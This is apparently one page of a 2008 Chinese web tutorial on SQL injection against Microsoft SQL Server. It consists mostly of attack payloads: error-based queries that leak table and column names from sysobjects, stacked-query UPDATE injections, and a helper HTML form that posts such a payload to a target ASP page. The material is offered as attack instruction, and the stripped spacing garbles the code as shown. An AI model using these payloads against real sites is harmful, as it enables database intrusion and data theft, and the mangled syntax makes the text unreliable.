WEB开发网
开发学院数据库MySQL 非常经典的Ms Sql注射资料 阅读

非常经典的Ms Sql注射资料

 2008-10-04 11:10:32 来源:WEB开发网   
核心提示: ;;and(selectTop1namefromsysobjectswherextype='U'andstatus>0)>0sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,非常经典的Ms Sql注射资料(7),xtype

;;and(selectTop1namefromsysobjectswherextype='U'andstatus>0)>0

sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U'andstatus>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。

;;and(selectTop1col_name(object_id('表名'),1)fromsysobjects)>0

从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

post.htm内容:主要是方便输入。

<iframename=psrc=#width=800height=350frameborder=0></iframe>
<br>
<formaction=http://test.com/count.asptarget=p>
<inputname="id"value="1552;updateaaasetaaa=(selecttop1namefromsysobjectswherextype='u'andstatus>0);--"style="width:750">
<inputtype=submitvalue=">>>">
<inputtype=hiddenname=fnovalue="2,3">
</form>
枚举出他的数据表名:

id=1552;updateaaasetaaa=(selecttop1namefromsysobjectswherextype='u'andstatus>0);--

这是将第一个表名更新到aaa的字段处。

读出第一个表,第二个表可以这样读出来(在条件后加上andname<>'刚才得到的表名')。

id=1552;updateaaasetaaa=(selecttop1namefromsysobjectswherextype='u'andstatus>0andname<>'vote');--

上一页  2 3 4 5 6 7 8 9 10  下一页

Tags:非常 经典 Ms

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接